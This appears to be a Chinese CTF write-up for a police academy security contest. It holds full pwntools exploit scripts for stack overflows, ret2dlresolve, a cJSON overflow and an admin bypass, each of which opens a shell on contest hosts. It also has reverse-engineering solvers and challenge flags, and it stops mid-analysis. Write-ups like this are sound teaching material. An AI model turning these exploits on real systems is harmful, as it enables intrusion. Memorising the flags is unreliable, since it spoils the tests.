mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
2240 字
7 分钟
sdpcsec-ctf
2026-06-08

第四届黄河流域公安院校网络空间安全技能挑战赛部分wp 由于水平有限,所以只实现了这么多

pwn-level1-testnc_revege#

分析发现这是一个随机数答题的程序,其中的题目有三个阶段,而且在答题的时候,实际显示的运算符和程序内部的计算运算符不同,但是通过分析程序发现,这三个偏移量是在同一个时间生成并存储在buf 中所以 只要确定了第一个阶段的偏移量,那么就可以确定第二阶段和第三阶段的偏移量,那么我们可以直接通过枚举的方式获得三个阶段的答题,从而获得shell。

from pwn import *
from typing import Callable
from dataclasses import dataclass
import time
# context.log_level = "debug"
"""
枚举所有的 可能偏移,最坏的情况下有 6^3 种情况
"""
@dataclass
class StageProc:
proc: process
procoffset: int
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
def calculate(a: int, op: str, b: int) -> int:
if op == '+':
return a + b
elif op == '-':
return a - b
elif op == 'x':
return a * b
elif op == '%':
return a % b if b != 0 else 0
elif op == '^':
return a ^ b
elif op == '&':
return a & b
else:
return 0
def calcPart(p: process, offset: int) -> int:
global sym_list
res = -1
# log.info(f"Get calcPart")
# time.sleep(.5)
parts = p.recv().decode().split()
while not "=" in parts: # 防止因为io玄学问题导致接受不全
parts += p.recv().decode().split()
try:
num1 = int(parts[-4])
disOp = parts[-3]
op = sym_list[sym_list.index(disOp) + offset]
num2 = int(parts[-2])
res = calculate(num1, op, num2)
# log.info(f"Calc: {num1} {op} {num2} = {res}")
except:
log.error(f"calcPartsError: {parts}")
log.error(f"Break!")
return res
# 寻找获取
# stage ==> 1, 2, 3
def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc:
# p = pFunc()
offset = 0
while True:
p = pFunc()
res = calcPart(p, offset)
p.sendline(str(res).encode())
back = p.recvline()
if b"lose" in back:
log.warn(f"findOffsetFail : {stage}")
p.close()
offset += 1
offset = 0 if offset > 6 else offset
else:
log.success(f"findOffset {stage} : offset => {offset}")
return StageProc(
proc = p,
procoffset = offset
)
# break
# 计算 该阶段接下来的题目
def CalcPartsWithOffset(ps: StageProc, stage: int) -> process:
for _ in range(39):
res = calcPart(ps.proc, ps.procoffset)
ps.proc.sendline(str(res))
back = ps.proc.recvline()
if b"lose" in back:
log.error(f"Stage{stage} CalcFail Step:{_}")
raise ValueError("Stage Calc Fail Error!")
# 尝试捕获最后几个算式
if _ >= 37 and stage == 3:
log.info(f"Proc: {_}: {back} ")
return ps.proc
def pCreate() -> process:
return process("./pwn")
# return remote("175.27.251.122", 33490)
# 计算 阶段一
def Stage1() -> process:
try:
temp = findOffset(pCreate, 1)
return CalcPartsWithOffset(temp, 1)
except:
log.error("Restart: Stage1")
return Stage1()
def Stage2() -> process:
try:
temp = findOffset(Stage1, 2)
return CalcPartsWithOffset(temp, 2)
except:
log.error("Restart: Stage2")
return Stage2()
def Stage3() -> process:
try:
temp = findOffset(Stage2, 3)
return CalcPartsWithOffset(temp, 3)
except:
log.error("Restart: Stage3")
return Stage3()
def tryStageRetry() -> process:
for attempt in range(10):
try:
res = Stage3()
log.success(f"Stage3 第{attempt+1}次尝试成功")
return res
except PwnlibException as e:
log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}")
time.sleep(1)
p = tryStageRetry()
print(p.recvall()) #显示答案

pwn-level2-ret2text#

分析发现是一个简单的ret2text,程序存在后门函数,无canary, PIE,所以直接栈溢出就可以拿到shell

from pwn import *
file = "./pwn"
host = "123.56.126.77"
port = 1007
is_remote = True
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
ret = 0x40101a
rdi = 0x401178
backdoor = elf.sym["backdoor"]
payload = flat(
{
64: [
p64(0),
p64(ret),
p64(backdoor)
]
},
filler = b"\x00"
)
p.sendline(payload)
p.interactive()

pwn-level3-pwn-bypass#

仍然是 ret2text 的变式, 其中在函数main中绕过 admin 登录之后在函数vuln中

memcpy 构成了栈溢出

from pwn import *
file = "./pwn"
host = "123.56.126.77"
port = 1002
is_remote = True
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
p.sendafter("input your name:", b"admin")
p.sendafter("input your pasword:", b"123456")
p.recvuntil(b"chunk_addr: ")
chunk_addr = int(p.recvuntil(b"\n")[:-1], 16)
ret = 0x401016
backdoor = elf.sym["backdoor"]
log.success(f"chunk_addr = {hex(chunk_addr)}")
payload = flat(
{
# 0x0: p64(chunk_addr),
0x48: [
p64(chunk_addr),
p64(ret),
p64(ret),
p64(backdoor)
]
},
# filler = b"\x00"
)
# raw_input(f"pwndbg -p {p.pid}")
p.sendline(payload)
p.interactive()

pwn-level4-pwn-aespwn#

分析发现,这是一个 aes 加密相关的程序只要输入密文就可以直接拿到shell

#!/usr/bin/env python3
from Crypto.Cipher import AES
import struct
def main():
# 从代码中提取的明文 v6
# v6[0] = 0x7766554433221100
# v6[1] = 0xFFEEDDCCBBAA9988
# 小端序解析
v6_0 = 0x7766554433221100
v6_1 = 0xFFEEDDCCBBAA9988
plaintext = bytearray()
# v6[0] 小端:00 11 22 33 44 55 66 77
plaintext.extend(struct.pack('<Q', v6_0))
# v6[1] 小端:88 99 AA BB CC DD EE FF
plaintext.extend(struct.pack('<Q', v6_1))
print(f"Plaintext: {plaintext.hex()}")
# 输出: 00112233445566778899aabbccddeeff
# 从代码中提取的密钥 v5
# v5[0] = 0x706050403020100 -> 实际上是 0x0706050403020100
# v5[1] = 0xF0E0D0C0B0A0908 -> 0x0F0E0D0C0B0A0908
v5_0 = 0x0706050403020100
v5_1 = 0x0F0E0D0C0B0A0908
key = bytearray()
key.extend(struct.pack('<Q', v5_0))
key.extend(struct.pack('<Q', v5_1))
print(f"Key: {key.hex()}")
# 输出: 000102030405060708090a0b0c0d0e0f
# AES-128 ECB 加密
cipher = AES.new(bytes(key), AES.MODE_ECB)
ciphertext = cipher.encrypt(bytes(plaintext))
print(f"Ciphertext: {ciphertext.hex()}")
# 输出提示
print("\n" + "="*50)
print(f"Exploit: 输入以下 32 个十六进制字符即可获得 shell:")
print(ciphertext.hex())
print("="*50)
if __name__ == "__main__":
main()

得到 69c4e0d86a7b0430d8cdb78070b4c55a nc 连接之后就可以直接拿到flag

pwn-level5#

主要考察代码审计

显然可以看出, 再登录管理员账号后可以直接运行任意shell指令,而管理员密码在,输错密码后会直接给你

2
admin
RAIpqKKiEPDiTXFT
/bin/sh

pwn-level6#

发现是主要考察ret2dlresolve

由图可知 1780749484111

程序存在一个大范围的栈溢出,所以可以直接使用 pwntool 自动构建出一个 delresolve 的结构体来连接system 执行命令

from pwn import *
file = "./pwn"
host = "123.56.126.77"
port = 1006
is_remote = True
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
libc = ELF("./libc.so.6")
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh\x00'])
log.info(f"data_addr: {hex(dlresolve.data_addr)}")
log.info(f"Payload length: {len(dlresolve.payload)}")
rop.read(0, dlresolve.data_addr, len(dlresolve.payload))
rop.ret2dlresolve(dlresolve)
ret = 0x40101a
payload = flat(
{
72: [
# p64(ret),
rop.chain(),
]
},
filler = b"\x00"
)
p.recvuntil(b'payload:\n')
p.send(payload)
# sleep(0.5)
p.send(dlresolve.payload)
p.interactive()

pwner_jsonstack#

程序逻辑#

main()
├─ read(0, header, 4) // 读取长度
├─ read(0, raw, len) // 读取 JSON
├─ cJSON_Parse(raw) // 解析 JSON
├─ 检查 cmd == "stack"
└─ handle_stack(req)
├─ 获取 "data" (string) 和 "copy_len" (number)
├─ 检查: n >= 0 && strlen(data) >= n
└─ vuln_copy(data, n)
└─ memcpy(buf[32], data, n) ← 栈溢出

漏洞点#

vuln_copy()buf 只有 32 字节,但 copy_len 可控:

void vuln_copy(const char *data, int copy_len) {
char buf[32]; // rbp-0x20
memset(buf, 0, 32);
memcpy(buf, data, copy_len); // 可溢出
}

栈布局(从 buf 开始):

偏移大小内容
0x0032Bbuf
0x208Bsaved rbp
0x288Breturn address

绕过检查#

handle_stack 的检查:

slen = strlen(data->valuestring);
n = copy_len->valueint;
if (n < 0 || slen < n) // 需要 n >= 0 且 slen >= n
return error;
  • 发送 42 字节不含 \x00 的 payload,strlen 返回 42
  • copy_len = 42,检查通过 (42 >= 42)
  • memcpy 复制 42 字节,溢出到返回地址

cJSON 的 parse_string 对非转义字节无过滤(只特殊处理 "\),所以 \x12\xfe 等二进制字节可直接放在 JSON 字符串中。

后门函数#

win 位于 0x4012f6

void win() {
write(1, "you win\n", 8);
system("/bin/sh");
}

栈对齐问题#

直接跳到 0x4012f6win 入口)会执行 push rbp,导致调用 system 时 RSP 不是 16 字节对齐,触发 glibc SSE movaps 崩溃(SIGSEGV)。

解决: 跳到 0x4012fe(跳过 push rbp; mov rbp, rsp),保持栈对齐:

0x4012fa: push rbp ← 跳过
0x4012fb: mov rbp, rsp ← 跳过
0x4012fe: xor eax, eax ← 跳到这里
0x40130e: call write ← 栈对齐 ✓
0x40131e: call system ← 栈对齐 ✓

利用步骤#

  1. 构造 42 字节 payload:'A'*40 + '\xfe\x12'
  2. 包裹为 JSON:{"cmd":"stack","data":"<payload>","copy_len":42}
  3. 发送 4 字节 LE 长度头 + JSON 体
  4. 返回地址低 2 字节从 0x145e 改为 0x12fe,高字节不变
  5. vuln_copy 返回到 0x4012fesystem("/bin/sh") → get shell

Exploit#

import struct
import sys
from pwn import *
def exploit(host: str, port: int):
padding = b'A' * 40 # fill buf (32) + saved rbp (8)
win_low = b'\xfe\x12' # low 2 bytes of 0x4012fe in LE
data_payload = padding + win_low # 42 bytes total, no null bytes
assert len(data_payload) == 42
assert b'\x00' not in data_payload # no null bytes to break strlen
json_body = b'{"cmd":"stack","data":"' + data_payload + b'","copy_len":42}'
header = struct.pack('<I', len(json_body))
r = remote(host, port)
r.send(header)
r.send(json_body)
r.interactive()
if __name__ == '__main__':
exploit("123.56.126.77", 1004)

re-Roses#

1. 静态分析#

IDA 中加载 binary,通过 survey_binary 概览发现关键信息:

  • 字符串 "Roses" 位于 0x14000a041
  • 字符串 "Encrypted Result:\n%s\n" 位于 0x14000a09d
  • 字符串 "C:\\Users\\Lenovo\\Desktop\\1.txt" 位于 0x14000a047
  • 64 字符自定义 Base64 表位于 0x14000a000VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg

2. 核心函数#

sub_1400017A0 — 主逻辑#

1. fopen("C:\\Users\\Lenovo\\Desktop\\1.txt", "rb")
2. fseek(END) → ftell() → 获取文件大小
3. fread() 读入内存
4. sub_1400014E7() — XOR 加密
5. sub_140001578() — Base64 编码
6. printf("Encrypted Result:\n%s\n", result)

sub_1400014E7 — XOR 加密#

使用 5 字节密钥 "Roses" 循环异或:

for (i = 0; i < size; i++) {
output[i] = input[i] ^ "Roses"[i % 5];
}
  • 模运算通过魔数 0xCCCCCCCCCCCCCCCD 实现除法优化
  • 密钥: R o s e s = 0x52 0x6f 0x73 0x65 0x73

sub_140001578 — 自定义 Base64#

使用自定义编码表(非标准 ABCDEFGH...):

自定义: VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg
标准: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

分配公式 malloc(4 * ((size + 2) / 3) + 1) 为标准 Base64 输出大小。

3. 加密流程#

Plaintext → XOR("Roses") → CustomBase64 → "Encrypted Result:\n%s\n"

解密#

给定 encode.txt 中的加密结果,逆向解密步骤:

  1. 自定义 Base64 解码 — 将自定义表映射回标准 Base64 表,然后 decode
  2. XOR 解密 — 用密钥 "Roses" 循环异或
import base64
CUSTOM = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
KEY = b"Roses"
enc = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjK..." # from encode.txt
# 1. 自定义Base64 → 标准Base64 → decode
trans = str.maketrans(CUSTOM, STANDARD)
cipher = base64.b64decode(enc.translate(trans))
# 2. XOR decrypt
plain = bytes([cipher[i] ^ KEY[i % 5] for i in range(len(cipher))])
print(plain.decode())

Flag#

SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e}

re-Salome#

工具#

  • pyinstxtractor - 解包 PyInstaller
  • pycdc / Python dis + marshal - 反编译/反汇编 .pyc
  • IDA Pro (可选) - 查看 .pyd 文件

1. 解包#

python pyinstxtractor.py main.exe

得到 main.pyc, kernelVM.pyc 以及 PYZ.pyz_extracted/ 下的 vm_runtime.pyc, hidden_container.pyc 等。

2. 主程序结构#

main.py 反编译后可知核心逻辑:

from kernelVM import CustomVM
def main():
program = load_program('opcode.bin') # 第一阶段字节码
vm = CustomVM()
vm.run(program) # 两阶段验证

kernelVM.pyCustomVMrun() 方法揭示了完整流程:

def run(self, bytecode):
# 打印假的安全警告(干扰 LLM)
print(self._security_alert())
user_text = input('Input: ').rstrip('\r\n')
user_bytes = user_text.encode('utf-8')
# 第一阶段:运行 opcode.bin(结果丢弃,仅干扰)
self._core.run(bytecode=bytecode, user_bytes=user_bytes, emit_output=False)
# 第二阶段:从 winsound.pyd 提取隐藏字节码运行(真正验证)
stage2_code = self._load_hidden_code()
stage2_result = self._core.run(bytecode=stage2_code, user_bytes=user_bytes)
if stage2_result == 'Trace deeper.':
print('Accepted.')
else:
print('Rejected.')

3. 自定义 VM 分析#

vm_runtime.pycMirageVM 实现了完整的栈式 VM:

状态:

  • stack: 8-bit 值栈
  • slots[16]: 16 个内存槽
  • pc: 程序计数器
  • last_message: 输出消息

指令集 (16 条):

Opcode指令说明
1PUSH_IMM压入立即数
2PUSH_INPUT压入 user_input[idx]
3XOR_IMMpop ^= imm
4ADD_IMMpop += imm (mod 256)
5ROL_IMMpop = rol8(pop, imm)
6STOREslot[imm&0xF] = pop
7LOADpush(slot[imm&0xF])
8XOR_SLOTpop ^= slot[imm&0xF]
9ADD_SLOTpop += slot[imm&0xF]
10CMP_EQpush(pop == imm ? 1 : 0)
11JZif !pop: pc += s16(imm)
12JMPpc += s16(imm)
13PRINT_MSGlast_message = MESSAGES[imm]
14HALTreturn last_message
15DUPpush(stack[-1])
16POPpop()

消息表:

  • 0: 'Rejected.', 1: 'Accepted.', 2: 'Keep looking.'
  • 3: 'Miss.', 4: 'Trace deeper.'

4. 隐藏载荷提取#

_hidden_name() 通过 chr 解码出隐藏文件名为 winsound.pyd

hidden_container.pyc 实现了 M13P 容器格式的解包:

容器格式:
MAGIC "M13P" (4 bytes)
KEY (1 byte)
SEED (1 byte)
LENGTH (2 bytes, LE)
CHECKSUM (1 byte)
BODY (LENGTH bytes)
解码: plain[i] = body[i] ^ stream[i] ^ MASK[i % 7]
其中 stream[i] = (key + seed + i * 11) & 0xFF
MASK = b'curtain'

5. 第二阶段字节码#

opcode.bin(第一阶段)使用 3 个 slot,线性处理 24 字节输入,结果仅打印 Accepted. / Rejected.,但程序丢弃该结果——仅为干扰。

winsound.pyd 中的第二阶段才是真正的验证,使用 4 个 slot,输入索引被打乱。

单字符变换(正向):

t1 = input[i] ^ slot[0]
t2 = rol8(t1, rol0)
t3 = (t2 + slot[1]) & 0xFF
t4 = t3 ^ slot[2]
t5 = rol8(t4, 3)
t6 = (t5 + add1) & 0xFF
t7 = t6 ^ slot[3]
result = (t7 + add2) & 0xFF

状态更新(依赖已更新的 slot):

slot[3] = rol8((slot[3] + result + up_add3) & 0xFF, 1)
slot[2] = slot[2] ^ result ^ up_xor2
slot[1] = rol8((slot[1] + slot[2] + up_add1) & 0xFF, 1)
slot[0] = (slot[0] + result + up_add0) ^ slot[3]

初始状态: slot = [0x53, 0xA9, 0x1F, 0xC7]

最终检查: slot == [0xA5, 0x35, 0x63, 0xAB]

6. 求解#

已知每步的 expected 值和当前 slot 状态,逆向计算输入字节:

t7 = (expected - add2) & 0xFF # 逆 ADD_IMM add2
t6 = t7 ^ slot[3] # 逆 XOR_SLOT[3]
t5 = (t6 - add1) & 0xFF # 逆 ADD_IMM add1
t4 = ror8(t5, 3) # 逆 ROL_IMM 3
t3 = t4 ^ slot[2] # 逆 XOR_SLOT[2]
t2 = (t3 - slot[1]) & 0xFF # 逆 ADD_SLOT[1]
t1 = ror8(t2, rol0) # 逆 ROL_IMM rol0
input[i] = t1 ^ slot[0] # 逆 XOR_SLOT[0]

然后用已知的 expected 值正向更新 slot 状态,继续下一字符。

所以完整脚本如下

from pathlib import Path
BASE = Path(__file__).parent
def rol8(value: int, bits: int) -> int:
value &= 0xFF; bits &= 7
if bits == 0: return value
return ((value << bits) | (value >> (8 - bits))) & 0xFF
def ror8(value: int, bits: int) -> int:
return rol8(value, (-bits) % 8)
def s16(value: int) -> int:
if value & 0x8000: return value - 0x10000
return value
def extract_stage1_blocks(bc: bytes):
"""
Stage 1 bytecode layout per character:
PUSH_INPUT [i] (2B: 02 xx)
XOR_SLOT [0] (2B: 08 00)
ROL_IMM <rol> (2B: 05 xx)
ADD_SLOT [1] (2B: 09 01)
XOR_IMM <val> (2B: 03 xx)
ADD_SLOT [2] (2B: 09 02)
DUP (1B: 0F)
STORE [3] (2B: 06 03)
CMP_EQ <exp> (2B: 0A xx)
JZ <rel> (3B: 0B xx xx)
LOAD [2] (2B: 07 02)
XOR_SLOT [3] (2B: 08 03)
XOR_IMM <uxor> (2B: 03 xx)
ROL_IMM <urol> (2B: 05 xx)
STORE [2] (2B: 06 02)
LOAD [1] (2B: 07 01)
ADD_SLOT [3] (2B: 09 03)
ADD_IMM <uadd> (2B: 04 xx)
STORE [1] (2B: 06 01)
LOAD [0] (2B: 07 00)
ADD_IMM <uadd2> (2B: 04 xx)
ROL_IMM 1 (2B: 05 01)
XOR_SLOT [3] (2B: 08 03)
STORE [0] (2B: 06 00)
Total: 20 (check) + 28 (update) = 48 bytes per block
"""
blocks = []
# Find first PUSH_INPUT
pc = 0
while pc < len(bc) and bc[pc] != 2:
pc += 1
while pc < len(bc) and bc[pc] == 2:
start = pc
# Parse check part with explicit offsets
block = {
'input_idx': bc[start + 1],
'rol_bits': bc[start + 5],
'xor_val': bc[start + 9],
'expected': bc[start + 16],
# Update part
'update_xor': bc[start + 25],
'update_rol': bc[start + 27],
'update_add': bc[start + 33],
'update_add2': bc[start + 37],
}
blocks.append(block)
pc = start + 48 # 20 + 28
return blocks
def extract_stage2_blocks(bc: bytes):
"""
Stage 2 bytecode layout per character (64 bytes each):
+0: PUSH_INPUT [i] (2B: 02 xx)
+2: XOR_SLOT [0] (2B: 08 00)
+4: ROL_IMM <rol0> (2B: 05 xx)
+6: ADD_SLOT [1] (2B: 09 01)
+8: XOR_SLOT [2] (2B: 08 02)
+10: ROL_IMM 3 (2B: 05 03)
+12: ADD_IMM <add1> (2B: 04 xx)
+14: XOR_SLOT [3] (2B: 08 03)
+16: ADD_IMM <add2> (2B: 04 xx)
+18: DUP (1B: 0F)
+19: STORE [4] (2B: 06 04)
+21: CMP_EQ <exp> (2B: 0A xx)
+23: JZ <rel> (3B: 0B xx xx)
+26: LOAD [3] (2B: 07 03)
+28: ADD_SLOT [4] (2B: 09 04)
+30: ADD_IMM <ua3> (2B: 04 xx)
+32: ROL_IMM 1 (2B: 05 01)
+34: STORE [3] (2B: 06 03)
+36: LOAD [2] (2B: 07 02)
+38: XOR_SLOT [4] (2B: 08 04)
+40: XOR_IMM <ux2> (2B: 03 xx)
+42: STORE [2] (2B: 06 02)
+44: LOAD [1] (2B: 07 01)
+46: ADD_SLOT [2] (2B: 09 02)
+48: ADD_IMM <ua1> (2B: 04 xx)
+50: ROL_IMM 1 (2B: 05 01)
+52: STORE [1] (2B: 06 01)
+54: LOAD [0] (2B: 07 00)
+56: ADD_SLOT [4] (2B: 09 04)
+58: ADD_IMM <ua0> (2B: 04 xx)
+60: XOR_SLOT [3] (2B: 08 03)
+62: STORE [0] (2B: 06 00)
Total: 64 bytes per block
"""
blocks = []
# Find first PUSH_INPUT - skip init + JZ + dead code
# Init: 4 PUSH_IMM/STORE pairs = 16 bytes
# Then PUSH_IMM 0 + JZ + dead code (HALT at offset 29)
# First PUSH_INPUT is at byte offset 30 = 0x1E
pc = 30 # 0x1E
while pc < len(bc) and bc[pc] == 2:
start = pc
block = {
'input_idx': bc[start + 1],
'rol0': bc[start + 5],
'add1': bc[start + 13],
'add2': bc[start + 17],
'expected': bc[start + 22],
'up_add3': bc[start + 31],
'up_xor2': bc[start + 41],
'up_add1': bc[start + 49],
'up_add0': bc[start + 59],
}
blocks.append(block)
pc = start + 64
return blocks
# ============================================================
# Solve stage 2 (the one that determines success)
# ============================================================
def solve_stage2(bc: bytes):
"""Returns (input_bytes, final_slots)."""
blocks = extract_stage2_blocks(bc)
# Initial slot values (from disassembly)
slots = [0x53, 0xA9, 0x1F, 0xC7] + [0]*12
input_map = {}
print(f"Stage 2: {len(blocks)} blocks")
for i, b in enumerate(blocks):
print(f" [{i:2d}] input_idx={b['input_idx']:2d} expected=0x{b['expected']:02X} "
f"rol0={b['rol0']} add1=0x{b['add1']:02X} add2=0x{b['add2']:02X} "
f"ua3=0x{b['up_add3']:02X} ux2=0x{b['up_xor2']:02X} "
f"ua1=0x{b['up_add1']:02X} ua0=0x{b['up_add0']:02X}")
for b in blocks:
s0, s1, s2, s3 = slots[0], slots[1], slots[2], slots[3]
# Reverse the computation:
# Forward: result = ((rol8(t4,3) + add1) ^ s3 + add2) & 0xFF
# where t4 = (t3 ^ s2)
# where t3 = (rol8(input ^ s0, rol0) + s1) & 0xFF
#
# Backward:
t_after_add2 = (b['expected'] - b['add2']) & 0xFF # before ADD_IMM add2
t_after_xor3 = t_after_add2 ^ s3 # before XOR_SLOT[3]
t_after_add1 = (t_after_xor3 - b['add1']) & 0xFF # before ADD_IMM add1
t_after_rol3 = ror8(t_after_add1, 3) # before ROL_IMM 3
t_after_xor2 = t_after_rol3 ^ s2 # before XOR_SLOT[2]
t_after_adds1 = (t_after_xor2 - s1) & 0xFF # before ADD_SLOT[1]
t_after_rol0 = ror8(t_after_adds1, b['rol0']) # before ROL_IMM rol0
input_byte = t_after_rol0 ^ s0 # before XOR_SLOT[0]
input_map[b['input_idx']] = input_byte
# Forward update using known result:
result = b['expected']
# slot[3] = rol8((s3 + result + up_add3) & 0xFF, 1)
new_s3 = rol8((s3 + result + b['up_add3']) & 0xFF, 1)
# slot[2] = s2 ^ result ^ up_xor2
new_s2 = s2 ^ result ^ b['up_xor2']
# slot[1] = rol8((s1 + new_s2 + up_add1) & 0xFF, 1) ← uses updated slot[2]!
new_s1 = rol8((s1 + new_s2 + b['up_add1']) & 0xFF, 1)
# slot[0] = (s0 + result + up_add0) ^ new_s3 ← uses updated slot[3]!
new_s0 = ((s0 + result + b['up_add0']) & 0xFF) ^ new_s3
slots[0], slots[1], slots[2], slots[3] = new_s0, new_s1, new_s2, new_s3
# Build full input (in index order)
max_idx = max(input_map) if input_map else -1
input_bytes = bytes(input_map.get(i, 0) for i in range(max_idx + 1))
print(f"\nFinal slots: [0]={slots[0]:02X} [1]={slots[1]:02X} [2]={slots[2]:02X} [3]={slots[3]:02X}")
print(f"Expected: [0]=A5 [1]=35 [2]=63 [3]=AB")
return input_bytes, slots
# ============================================================
# VM for verification
# ============================================================
class MirageVM:
def __init__(self):
self.reset()
def reset(self):
self.stack = []; self.slots = [0]*16; self.pc = 0; self.last_message = ''
def pop(self) -> int:
return self.stack.pop() & 0xFF
def push(self, value: int):
self.stack.append(value & 0xFF)
def run(self, bytecode: bytes, user_input: bytes, trace: bool = False) -> str:
self.reset()
data = bytes(user_input)
while self.pc < len(bytecode):
op = bytecode[self.pc]; self.pc += 1
match op:
case 1: # PUSH_IMM
v = bytecode[self.pc]; self.pc += 1; self.push(v)
case 2: # PUSH_INPUT
i = bytecode[self.pc]; self.pc += 1
self.push(data[i] if i < len(data) else 0)
case 3: # XOR_IMM
v = bytecode[self.pc]; self.pc += 1; self.push(self.pop() ^ v)
case 4: # ADD_IMM
v = bytecode[self.pc]; self.pc += 1; self.push((self.pop() + v) & 0xFF)
case 5: # ROL_IMM
b = bytecode[self.pc]; self.pc += 1; self.push(rol8(self.pop(), b))
case 6: # STORE
s = bytecode[self.pc] & 0xF; self.pc += 1; self.slots[s] = self.pop()
case 7: # LOAD
s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.slots[s])
case 8: # XOR_SLOT
s = bytecode[self.pc] & 0xF; self.pc += 1; self.push(self.pop() ^ self.slots[s])
case 9: # ADD_SLOT
s = bytecode[self.pc] & 0xF; self.pc += 1; self.push((self.pop() + self.slots[s]) & 0xFF)
case 10: # CMP_EQ
v = bytecode[self.pc]; self.pc += 1; self.push(1 if self.pop() == v else 0)
case 11: # JZ
r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little'))
self.pc += 2
if self.pop() == 0: self.pc += r
case 12: # JMP
r = s16(int.from_bytes(bytecode[self.pc:self.pc+2], 'little'))
self.pc += 2; self.pc += r
case 13: # PRINT_MSG
m = {0:'Rejected.',1:'Accepted.',2:'Keep looking.',3:'Miss.',4:'Trace deeper.'}
self.last_message = m.get(bytecode[self.pc], f'UNK'); self.pc += 1
case 14: # HALT
return self.last_message
case 15: # DUP
self.push(self.stack[-1] if self.stack else 0)
case 16: # POP
self.pop()
case _:
raise RuntimeError(f'unknown opcode 0x{op:02X} at 0x{self.pc-1:04X}')
return self.last_message
# ============================================================
# Main
# ============================================================
print("=" * 60)
print("=== Stage 2 Solver ===")
print("=" * 60)
# Extract hidden payload
MASK = b'curtain'
MAGIC = b'M13P'
winsound = Path(BASE / "main.exe_extracted/winsound.pyd").read_bytes()
# Find M13P and unpack
off = winsound.find(MAGIC)
assert off >= 0
key = winsound[off + 4]; seed = winsound[off + 5]
length = int.from_bytes(winsound[off + 6:off + 8], 'little')
checksum = winsound[off + 8]
body = winsound[off + 9:off + 9 + length]
plain = bytearray()
for i, v in enumerate(body):
stream = (key + seed + i * 11) & 0xFF
plain.append(v ^ stream ^ MASK[i % len(MASK)])
assert sum(plain) & 0xFF == checksum
stage2_bc = bytes(plain)
print(f"Stage 2 bytecode: {len(stage2_bc)} bytes")
input_bytes, final_slots = solve_stage2(stage2_bc)
print(f"\nInput ({len(input_bytes)} bytes): {input_bytes}")
print(f"Input hex: {input_bytes.hex()}")
# Try to decode as text
try:
print(f"Input text: {input_bytes.decode('ascii')}")
except:
printable = ''.join(chr(b) if 32 <= b < 127 else f'\\x{b:02x}' for b in input_bytes)
print(f"Input partial: {printable}")
# Verify
print("\n--- Verification ---")
vm = MirageVM()
result = vm.run(stage2_bc, input_bytes)
print(f"VM result: '{result}'")
print(f"Expected: 'Trace deeper.' {'✓ SUCCESS' if result == 'Trace deeper.' else '✗ FAILED'}")
# Also verify against the original main.exe by simulating what it does
print("\n" + "=" * 60)
print("=== Full simulation (both stages) ===")
print("=" * 60)
# Stage 1
stage1_bc = Path(BASE / "opcode.bin").read_bytes()
vm1 = MirageVM()
r1 = vm1.run(stage1_bc, input_bytes)
print(f"Stage 1 result: '{r1}'")
# Stage 2
vm2 = MirageVM()
r2 = vm2.run(stage2_bc, input_bytes)
print(f"Stage 2 result: '{r2}'")
print(f"Final answer: {'FLAG FOUND!' if r2 == 'Trace deeper.' else 'Keep trying...'}")

Flag#

Y0uC@ncatcht1_1erealf1@9

(“You Can catch the real flag”)

运行验证:

$ echo "Y0uC@ncatcht1_1erealf1@9" | ./main.exe
--- VM Start ---
Input: Accepted.

Yield#

1. 初探#

二进制是一个 64-bit ELF,导入了 ptraceforkwaitpidraisemmap 等关键函数。从字符串中可以看到 "Correct!\n""Wrong!\n""Input flag: " 以及大量 PTRACE_PEEKDATAPTRACE_POKEDATA 等调试相关字符串,说明程序使用了 ptrace 实现某种运行时代码修改。

导入函数: ptrace, fork, waitpid, raise, mmap, memcmp, fgets
关键字符串: "Correct!\n", "Wrong!\n", "Input flag: ",
"PTRACE_PEEKDATA", "PTRACE_POKEDATA", "PTRACE_GETREGS",
"failed to locate int3 in gate stub", "trap validation failed"

2. 整体架构#

程序通过 fork() 创建父子进程,子进程被父进程 ptrace 追踪:

main()
├── mmap(flags=MAP_ANONYMOUS|MAP_SHARED) // 父子共享内存
├── fork()
│ ├── 子进程:
│ │ ├── ptrace(PTRACE_TRACEME) // 允许父进程追踪
│ │ ├── raise(SIGSTOP) // 暂停等待父进程
│ │ ├── sub_4029B5() // 读flag, 进入trap链
│ │ │ ├── printf("Input flag: ")
│ │ │ ├── fgets(s_0, 128, stdin) // 读入flag
│ │ │ ├── 检查长度 == 36
│ │ │ └── sub_40243A() // 调用15个INT3函数
│ │ └── _exit()
│ └── 父进程:
│ └── sub_40248E(pid) // ptrace状态机
│ ├── waitpid(初始SIGSTOP)
│ ├── PTRACE_CONT // 让子进程继续
│ └── while(1):
│ ├── waitpid(SIGTRAP) // 等待INT3
│ ├── PTRACE_GETREGS // 读取子进程寄存器
│ ├── 验证 [RIP-1] == 0xCC // 确认是INT3
│ ├── 查表执行状态机节点
│ ├── PTRACE_SETREGS // 修改子进程RIP
│ └── PTRACE_CONT // 继续执行

3. 核心机制:缓冲区溢出劫持 RIP#

父进程的状态机函数中有一个故意的缓冲区溢出

_BYTE v2[80]; // 寄存器缓冲区,只有80字节
